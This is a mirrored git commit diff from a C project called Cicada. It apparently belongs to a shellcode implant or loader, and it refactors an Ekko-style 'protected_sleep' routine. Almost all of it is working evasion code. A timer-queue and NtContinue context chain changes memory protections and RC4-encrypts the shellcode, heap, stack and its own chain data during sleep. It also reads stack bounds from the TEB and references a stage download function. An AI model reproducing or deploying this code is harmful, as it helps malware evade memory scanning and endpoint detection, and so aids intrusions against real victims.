mirror of
https://github.com/0xROOTPLS/Cicada
synced 2026-06-06 15:04:29 +00:00
Refactor protected_sleep for enhanced security
Refactor protected_sleep function with enhanced encryption and decryption processes for shellcode, heap, and stack. Update timer chain logic to improve security and maintainability.
This commit is contained in:
@@ -137,6 +137,22 @@ FUNC PPEB GetPEB(void) {
|
||||
return (PPEB)value;
|
||||
}
|
||||
|
||||
/* Get pointer to TEB (Thread Environment Block) */
|
||||
FUNC PVOID GetTEB(void) {
|
||||
uint64_t value = 0;
|
||||
__asm__ volatile("movq %%gs:%1, %0" : "=r"(value) : "m"(*(uint64_t *)0x30) :);
|
||||
return (PVOID)value;
|
||||
}
|
||||
|
||||
/* Get current thread's stack bounds from TEB */
|
||||
FUNC void GetStackBounds(PVOID *stack_base, PVOID *stack_limit) {
|
||||
PVOID teb = GetTEB();
|
||||
/* TEB->NtTib.StackBase at offset 0x08 */
|
||||
/* TEB->NtTib.StackLimit at offset 0x10 */
|
||||
*stack_base = *(PVOID *)((char *)teb + 0x08);
|
||||
*stack_limit = *(PVOID *)((char *)teb + 0x10);
|
||||
}
|
||||
|
||||
/* LDR_DATA_TABLE_ENTRY structure */
|
||||
typedef struct _MY_LDR_DATA_TABLE_ENTRY {
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
@@ -272,197 +288,300 @@ FUNC int http_get_stage(ApiFunctions *api, HINTERNET hConnect, PVOID *out_buffer
|
||||
}
|
||||
|
||||
/*
|
||||
* Ekko-esque sleep obfuscation
|
||||
* Timer chain:
|
||||
* Ekko-style sleep obfuscation with encrypted timer chain
|
||||
*
|
||||
* Timer chain data is split into:
|
||||
* - Header (unencrypted): Timer 0 context + chain key/descriptor
|
||||
* - Body (encrypted): All other contexts, USTRINGs, main key
|
||||
*
|
||||
* Timer 0 decrypts the body before other timers fire.
|
||||
* During sleep, only Timer 0's CONTEXT and chain key are exposed.
|
||||
*
|
||||
* Timer chain (11 steps):
|
||||
* 0. SystemFunction032 - decrypt timer chain body
|
||||
* 1. VirtualProtect(RW) - make shellcode non-executable
|
||||
* 2. SystemFunction032 - encrypt shellcode with RC4
|
||||
* 3. WaitForSingleObject - sleep (on unsignalable handle)
|
||||
* 4. SystemFunction032 - decrypt shellcode (RC4 is symmetric)
|
||||
* 5. VirtualProtect(RX) - restore execute permission
|
||||
* 6. SetEvent - wake main thread
|
||||
* 3. SystemFunction032 - encrypt heap
|
||||
* 4. SystemFunction032 - encrypt stack
|
||||
* 5. WaitForSingleObject - sleep (on unsignalable handle)
|
||||
* 6. SystemFunction032 - decrypt stack
|
||||
* 7. SystemFunction032 - decrypt heap
|
||||
* 8. SystemFunction032 - decrypt shellcode
|
||||
* 9. VirtualProtect(RX) - restore execute permission
|
||||
* 10. SetEvent - wake main thread
|
||||
*/
|
||||
#define WT_EXECUTEINTIMERTHREAD 0x00000020
|
||||
|
||||
/* Timer chain body - this portion gets encrypted */
|
||||
typedef struct _TIMER_CHAIN_BODY {
|
||||
/* Captured timer thread context */
|
||||
CONTEXT CtxThread;
|
||||
/* ROP contexts for steps 1-10 */
|
||||
CONTEXT RopProtRW; /* 1. VirtualProtect RW */
|
||||
CONTEXT RopMemEnc; /* 2. Encrypt shellcode */
|
||||
CONTEXT RopHeapEnc; /* 3. Encrypt heap */
|
||||
CONTEXT RopStackEnc; /* 4. Encrypt stack */
|
||||
CONTEXT RopDelay; /* 5. Sleep */
|
||||
CONTEXT RopStackDec; /* 6. Decrypt stack */
|
||||
CONTEXT RopHeapDec; /* 7. Decrypt heap */
|
||||
CONTEXT RopMemDec; /* 8. Decrypt shellcode */
|
||||
CONTEXT RopProtRX; /* 9. VirtualProtect RX */
|
||||
CONTEXT RopSetEvt; /* 10. SetEvent */
|
||||
/* USTRING descriptors for main encryption */
|
||||
USTRING Key;
|
||||
USTRING Img;
|
||||
USTRING Heap;
|
||||
USTRING Stack;
|
||||
/* Main RC4 key buffer (Key A) */
|
||||
char KeyBuf[16];
|
||||
/* OldProtect for VirtualProtect */
|
||||
DWORD OldProtect;
|
||||
} TIMER_CHAIN_BODY, *PTIMER_CHAIN_BODY;
|
||||
|
||||
/* Timer chain header - remains unencrypted (minimal exposure) */
|
||||
typedef struct _TIMER_CHAIN_HEADER {
|
||||
/* Timer 0: decrypts the body */
|
||||
CONTEXT RopDecryptChain;
|
||||
/* Descriptor for encrypted body */
|
||||
USTRING BodyDesc;
|
||||
/* Chain decryption key (Key B - different from main key) */
|
||||
USTRING ChainKey;
|
||||
char ChainKeyBuf[16];
|
||||
} TIMER_CHAIN_HEADER, *PTIMER_CHAIN_HEADER;
|
||||
|
||||
/* Full timer chain data structure */
|
||||
typedef struct _TIMER_CHAIN_DATA {
|
||||
TIMER_CHAIN_HEADER hdr; /* Unencrypted */
|
||||
TIMER_CHAIN_BODY body; /* Encrypted during sleep */
|
||||
} TIMER_CHAIN_DATA, *PTIMER_CHAIN_DATA;
|
||||
|
||||
FUNC void protected_sleep(ApiFunctions *api, DWORD sleep_ms, PVOID shellcode_base, DWORD shellcode_size,
|
||||
PVOID heap_base, DWORD heap_size) {
|
||||
HANDLE hEvent = api->CreateEventW(NULL, FALSE, FALSE, NULL);
|
||||
if (!hEvent) __asm__("int3"); /* Crash - no fallback */
|
||||
if (!hEvent) __asm__("int3");
|
||||
|
||||
HANDLE hTimerQueue = api->CreateTimerQueue();
|
||||
if (!hTimerQueue) __asm__("int3"); /* Crash - no fallback */
|
||||
if (!hTimerQueue) __asm__("int3");
|
||||
|
||||
DWORD OldProtect = 0;
|
||||
/* Allocate timer chain data on heap */
|
||||
PTIMER_CHAIN_DATA tcd = (PTIMER_CHAIN_DATA)api->VirtualAlloc(
|
||||
NULL, sizeof(TIMER_CHAIN_DATA), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!tcd) __asm__("int3");
|
||||
|
||||
/* RC4 key for encryption, you can change this to whatever */
|
||||
char KeyBuf[16] = {0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
|
||||
0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55};
|
||||
USTRING Key;
|
||||
Key.Buffer = KeyBuf;
|
||||
Key.Length = 16;
|
||||
Key.MaximumLength = 16;
|
||||
my_memset(tcd, 0, sizeof(TIMER_CHAIN_DATA));
|
||||
|
||||
/* Image data to encrypt (shellcode) */
|
||||
USTRING Img;
|
||||
Img.Buffer = shellcode_base;
|
||||
Img.Length = shellcode_size;
|
||||
Img.MaximumLength = shellcode_size;
|
||||
/* Set up chain decryption key (Key B) - different from main key */
|
||||
for (int i = 0; i < 16; i++) tcd->hdr.ChainKeyBuf[i] = 0xAA;
|
||||
tcd->hdr.ChainKey.Buffer = tcd->hdr.ChainKeyBuf;
|
||||
tcd->hdr.ChainKey.Length = 16;
|
||||
tcd->hdr.ChainKey.MaximumLength = 16;
|
||||
|
||||
/* Heap data to encrypt */
|
||||
USTRING Heap;
|
||||
Heap.Buffer = heap_base;
|
||||
Heap.Length = heap_size;
|
||||
Heap.MaximumLength = heap_size;
|
||||
/* Set up body descriptor - points to the encrypted portion */
|
||||
tcd->hdr.BodyDesc.Buffer = &tcd->body;
|
||||
tcd->hdr.BodyDesc.Length = sizeof(TIMER_CHAIN_BODY);
|
||||
tcd->hdr.BodyDesc.MaximumLength = sizeof(TIMER_CHAIN_BODY);
|
||||
|
||||
/* Set up main RC4 key (Key A) in body */
|
||||
for (int i = 0; i < 16; i++) tcd->body.KeyBuf[i] = 0x55;
|
||||
tcd->body.Key.Buffer = tcd->body.KeyBuf;
|
||||
tcd->body.Key.Length = 16;
|
||||
tcd->body.Key.MaximumLength = 16;
|
||||
|
||||
/* Image data descriptor (shellcode) */
|
||||
tcd->body.Img.Buffer = shellcode_base;
|
||||
tcd->body.Img.Length = shellcode_size;
|
||||
tcd->body.Img.MaximumLength = shellcode_size;
|
||||
|
||||
/* Heap data descriptor */
|
||||
tcd->body.Heap.Buffer = heap_base;
|
||||
tcd->body.Heap.Length = heap_size;
|
||||
tcd->body.Heap.MaximumLength = heap_size;
|
||||
|
||||
/* Stack data descriptor - get bounds from TEB */
|
||||
PVOID stack_base, stack_limit;
|
||||
GetStackBounds(&stack_base, &stack_limit);
|
||||
DWORD stack_size = (DWORD)((SIZE_T)stack_base - (SIZE_T)stack_limit);
|
||||
tcd->body.Stack.Buffer = stack_limit;
|
||||
tcd->body.Stack.Length = stack_size;
|
||||
tcd->body.Stack.MaximumLength = stack_size;
|
||||
|
||||
/* Capture context from timer thread */
|
||||
CONTEXT CtxThread;
|
||||
my_memset(&CtxThread, 0, sizeof(CONTEXT));
|
||||
|
||||
HANDLE hTimer = NULL;
|
||||
api->CreateTimerQueueTimer(
|
||||
&hTimer,
|
||||
hTimerQueue,
|
||||
&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->RtlCaptureContext,
|
||||
&CtxThread,
|
||||
0, /* Fire immediately */
|
||||
0, /* No repeat */
|
||||
WT_EXECUTEINTIMERTHREAD
|
||||
&tcd->body.CtxThread,
|
||||
0, 0, WT_EXECUTEINTIMERTHREAD
|
||||
);
|
||||
|
||||
/* Wait for RtlCaptureContext to run */
|
||||
api->Sleep(100);
|
||||
|
||||
/* Verify we got a valid context (Rip should be non-zero) */
|
||||
if (CtxThread.Rip == 0) __asm__("int3"); /* Crash */
|
||||
if (tcd->body.CtxThread.Rip == 0) __asm__("int3");
|
||||
|
||||
/* Build ROP contexts in body */
|
||||
|
||||
/* 1. VirtualProtect(shellcode_base, size, PAGE_READWRITE, &OldProtect) */
|
||||
CONTEXT RopProtRW;
|
||||
my_memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
|
||||
RopProtRW.Rsp -= 8;
|
||||
RopProtRW.Rip = (DWORD64)api->VirtualProtect;
|
||||
RopProtRW.Rcx = (DWORD64)shellcode_base;
|
||||
RopProtRW.Rdx = (DWORD64)shellcode_size;
|
||||
RopProtRW.R8 = PAGE_READWRITE;
|
||||
RopProtRW.R9 = (DWORD64)&OldProtect;
|
||||
my_memcpy(&tcd->body.RopProtRW, &tcd->body.CtxThread, sizeof(CONTEXT));
|
||||
tcd->body.RopProtRW.Rsp -= 8;
|
||||
tcd->body.RopProtRW.Rip = (DWORD64)api->VirtualProtect;
|
||||
tcd->body.RopProtRW.Rcx = (DWORD64)shellcode_base;
|
||||
tcd->body.RopProtRW.Rdx = (DWORD64)shellcode_size;
|
||||
tcd->body.RopProtRW.R8 = PAGE_READWRITE;
|
||||
tcd->body.RopProtRW.R9 = (DWORD64)&tcd->body.OldProtect;
|
||||
|
||||
/* 2. SystemFunction032(&Img, &Key) - encrypt shellcode */
|
||||
CONTEXT RopMemEnc;
|
||||
my_memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
|
||||
RopMemEnc.Rsp -= 8;
|
||||
RopMemEnc.Rip = (DWORD64)api->SystemFunction032;
|
||||
RopMemEnc.Rcx = (DWORD64)&Img;
|
||||
RopMemEnc.Rdx = (DWORD64)&Key;
|
||||
my_memcpy(&tcd->body.RopMemEnc, &tcd->body.CtxThread, sizeof(CONTEXT));
|
||||
tcd->body.RopMemEnc.Rsp -= 8;
|
||||
tcd->body.RopMemEnc.Rip = (DWORD64)api->SystemFunction032;
|
||||
tcd->body.RopMemEnc.Rcx = (DWORD64)&tcd->body.Img;
|
||||
tcd->body.RopMemEnc.Rdx = (DWORD64)&tcd->body.Key;
|
||||
|
||||
/* 3. SystemFunction032(&Heap, &Key) - encrypt heap */
|
||||
CONTEXT RopHeapEnc;
|
||||
my_memcpy(&RopHeapEnc, &CtxThread, sizeof(CONTEXT));
|
||||
RopHeapEnc.Rsp -= 8;
|
||||
RopHeapEnc.Rip = (DWORD64)api->SystemFunction032;
|
||||
RopHeapEnc.Rcx = (DWORD64)&Heap;
|
||||
RopHeapEnc.Rdx = (DWORD64)&Key;
|
||||
my_memcpy(&tcd->body.RopHeapEnc, &tcd->body.CtxThread, sizeof(CONTEXT));
|
||||
tcd->body.RopHeapEnc.Rsp -= 8;
|
||||
tcd->body.RopHeapEnc.Rip = (DWORD64)api->SystemFunction032;
|
||||
tcd->body.RopHeapEnc.Rcx = (DWORD64)&tcd->body.Heap;
|
||||
tcd->body.RopHeapEnc.Rdx = (DWORD64)&tcd->body.Key;
|
||||
|
||||
/* 4. WaitForSingleObject(NtCurrentProcess(), sleep_ms) */
|
||||
CONTEXT RopDelay;
|
||||
my_memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT));
|
||||
RopDelay.Rsp -= 8;
|
||||
RopDelay.Rip = (DWORD64)api->WaitForSingleObject;
|
||||
RopDelay.Rcx = (DWORD64)NtCurrentProcess();
|
||||
RopDelay.Rdx = (DWORD64)sleep_ms;
|
||||
/* 4. SystemFunction032(&Stack, &Key) - encrypt stack */
|
||||
my_memcpy(&tcd->body.RopStackEnc, &tcd->body.CtxThread, sizeof(CONTEXT));
|
||||
tcd->body.RopStackEnc.Rsp -= 8;
|
||||
tcd->body.RopStackEnc.Rip = (DWORD64)api->SystemFunction032;
|
||||
tcd->body.RopStackEnc.Rcx = (DWORD64)&tcd->body.Stack;
|
||||
tcd->body.RopStackEnc.Rdx = (DWORD64)&tcd->body.Key;
|
||||
|
||||
/* 5. SystemFunction032(&Heap, &Key) - decrypt heap */
|
||||
CONTEXT RopHeapDec;
|
||||
my_memcpy(&RopHeapDec, &CtxThread, sizeof(CONTEXT));
|
||||
RopHeapDec.Rsp -= 8;
|
||||
RopHeapDec.Rip = (DWORD64)api->SystemFunction032;
|
||||
RopHeapDec.Rcx = (DWORD64)&Heap;
|
||||
RopHeapDec.Rdx = (DWORD64)&Key;
|
||||
/* 5. WaitForSingleObject(NtCurrentProcess(), sleep_ms) */
|
||||
my_memcpy(&tcd->body.RopDelay, &tcd->body.CtxThread, sizeof(CONTEXT));
|
||||
tcd->body.RopDelay.Rsp -= 8;
|
||||
tcd->body.RopDelay.Rip = (DWORD64)api->WaitForSingleObject;
|
||||
tcd->body.RopDelay.Rcx = (DWORD64)NtCurrentProcess();
|
||||
tcd->body.RopDelay.Rdx = (DWORD64)sleep_ms;
|
||||
|
||||
/* 6. SystemFunction032(&Img, &Key) - decrypt shellcode (RC4 symmetric) */
|
||||
CONTEXT RopMemDec;
|
||||
my_memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
|
||||
RopMemDec.Rsp -= 8;
|
||||
RopMemDec.Rip = (DWORD64)api->SystemFunction032;
|
||||
RopMemDec.Rcx = (DWORD64)&Img;
|
||||
RopMemDec.Rdx = (DWORD64)&Key;
|
||||
/* 6. SystemFunction032(&Stack, &Key) - decrypt stack */
|
||||
my_memcpy(&tcd->body.RopStackDec, &tcd->body.CtxThread, sizeof(CONTEXT));
|
||||
tcd->body.RopStackDec.Rsp -= 8;
|
||||
tcd->body.RopStackDec.Rip = (DWORD64)api->SystemFunction032;
|
||||
tcd->body.RopStackDec.Rcx = (DWORD64)&tcd->body.Stack;
|
||||
tcd->body.RopStackDec.Rdx = (DWORD64)&tcd->body.Key;
|
||||
|
||||
/* 7. VirtualProtect(shellcode_base, size, PAGE_EXECUTE_READWRITE, &OldProtect) */
|
||||
CONTEXT RopProtRX;
|
||||
my_memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
|
||||
RopProtRX.Rsp -= 8;
|
||||
RopProtRX.Rip = (DWORD64)api->VirtualProtect;
|
||||
RopProtRX.Rcx = (DWORD64)shellcode_base;
|
||||
RopProtRX.Rdx = (DWORD64)shellcode_size;
|
||||
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
|
||||
RopProtRX.R9 = (DWORD64)&OldProtect;
|
||||
/* 7. SystemFunction032(&Heap, &Key) - decrypt heap */
|
||||
my_memcpy(&tcd->body.RopHeapDec, &tcd->body.CtxThread, sizeof(CONTEXT));
|
||||
tcd->body.RopHeapDec.Rsp -= 8;
|
||||
tcd->body.RopHeapDec.Rip = (DWORD64)api->SystemFunction032;
|
||||
tcd->body.RopHeapDec.Rcx = (DWORD64)&tcd->body.Heap;
|
||||
tcd->body.RopHeapDec.Rdx = (DWORD64)&tcd->body.Key;
|
||||
|
||||
/* 8. SetEvent(hEvent) */
|
||||
CONTEXT RopSetEvt;
|
||||
my_memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));
|
||||
RopSetEvt.Rsp -= 8;
|
||||
RopSetEvt.Rip = (DWORD64)api->SetEvent;
|
||||
RopSetEvt.Rcx = (DWORD64)hEvent;
|
||||
/* 8. SystemFunction032(&Img, &Key) - decrypt shellcode */
|
||||
my_memcpy(&tcd->body.RopMemDec, &tcd->body.CtxThread, sizeof(CONTEXT));
|
||||
tcd->body.RopMemDec.Rsp -= 8;
|
||||
tcd->body.RopMemDec.Rip = (DWORD64)api->SystemFunction032;
|
||||
tcd->body.RopMemDec.Rcx = (DWORD64)&tcd->body.Img;
|
||||
tcd->body.RopMemDec.Rdx = (DWORD64)&tcd->body.Key;
|
||||
|
||||
/* Queue timers - full 8-step chain with shellcode + heap encryption */
|
||||
/* All timers MUST succeed - no fallback allowed */
|
||||
/* 9. VirtualProtect(shellcode_base, size, PAGE_EXECUTE_READWRITE, &OldProtect) */
|
||||
my_memcpy(&tcd->body.RopProtRX, &tcd->body.CtxThread, sizeof(CONTEXT));
|
||||
tcd->body.RopProtRX.Rsp -= 8;
|
||||
tcd->body.RopProtRX.Rip = (DWORD64)api->VirtualProtect;
|
||||
tcd->body.RopProtRX.Rcx = (DWORD64)shellcode_base;
|
||||
tcd->body.RopProtRX.Rdx = (DWORD64)shellcode_size;
|
||||
tcd->body.RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
|
||||
tcd->body.RopProtRX.R9 = (DWORD64)&tcd->body.OldProtect;
|
||||
|
||||
/* 10. SetEvent(hEvent) */
|
||||
my_memcpy(&tcd->body.RopSetEvt, &tcd->body.CtxThread, sizeof(CONTEXT));
|
||||
tcd->body.RopSetEvt.Rsp -= 8;
|
||||
tcd->body.RopSetEvt.Rip = (DWORD64)api->SetEvent;
|
||||
tcd->body.RopSetEvt.Rcx = (DWORD64)hEvent;
|
||||
|
||||
/* Build Timer 0 context (in header) - decrypts the body */
|
||||
my_memcpy(&tcd->hdr.RopDecryptChain, &tcd->body.CtxThread, sizeof(CONTEXT));
|
||||
tcd->hdr.RopDecryptChain.Rsp -= 8;
|
||||
tcd->hdr.RopDecryptChain.Rip = (DWORD64)api->SystemFunction032;
|
||||
tcd->hdr.RopDecryptChain.Rcx = (DWORD64)&tcd->hdr.BodyDesc;
|
||||
tcd->hdr.RopDecryptChain.Rdx = (DWORD64)&tcd->hdr.ChainKey;
|
||||
|
||||
/* Queue ALL 11 timers BEFORE encrypting body */
|
||||
BOOL ok;
|
||||
|
||||
/* 1. VirtualProtect(RW) - make shellcode writable */
|
||||
/* Timer 0: Decrypt chain body */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopProtRW,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->hdr.RopDecryptChain,
|
||||
100, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 2. SystemFunction032 - encrypt shellcode */
|
||||
/* Timer 1: VirtualProtect RW */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopMemEnc,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopProtRW,
|
||||
200, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 3. SystemFunction032 - encrypt heap */
|
||||
/* Timer 2: Encrypt shellcode */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopHeapEnc,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopMemEnc,
|
||||
300, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 4. WaitForSingleObject - sleep delay */
|
||||
/* Timer 3: Encrypt heap */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopDelay,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopHeapEnc,
|
||||
400, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 5. SystemFunction032 - decrypt heap */
|
||||
/* Timer 4: Encrypt stack */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopHeapDec,
|
||||
500 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopStackEnc,
|
||||
500, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 6. SystemFunction032 - decrypt shellcode */
|
||||
/* Timer 5: Sleep delay */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopMemDec,
|
||||
600 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopDelay,
|
||||
600, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 7. VirtualProtect(RX) - restore execute permission */
|
||||
/* Timer 6: Decrypt stack */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopProtRX,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopStackDec,
|
||||
700 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 8. SetEvent - wake main thread */
|
||||
/* Timer 7: Decrypt heap */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopSetEvt,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopHeapDec,
|
||||
800 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* Timer 8: Decrypt shellcode */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopMemDec,
|
||||
900 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* Timer 9: VirtualProtect RX */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopProtRX,
|
||||
1000 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* Timer 10: SetEvent */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &tcd->body.RopSetEvt,
|
||||
1100 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* NOW encrypt the body - timers are already queued */
|
||||
api->SystemFunction032(&tcd->hdr.BodyDesc, &tcd->hdr.ChainKey);
|
||||
|
||||
/* Wait for the chain to complete */
|
||||
api->WaitForSingleObject(hEvent, INFINITE);
|
||||
|
||||
/* Clean up */
|
||||
api->DeleteTimerQueue(hTimerQueue);
|
||||
api->CloseHandle(hEvent);
|
||||
api->VirtualFree(tcd, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
/* Initial sleep delay in ms (5 min) */
|
||||
#define INITIAL_SLEEP_MS 300000
|
||||
#define INITIAL_SLEEP_MS 5000
|
||||
|
||||
/* Entry point - loader passes shellcode base and size */
|
||||
int start(PVOID shellcode_base, DWORD shellcode_size) {
|
||||
|
||||
Reference in New Issue
Block a user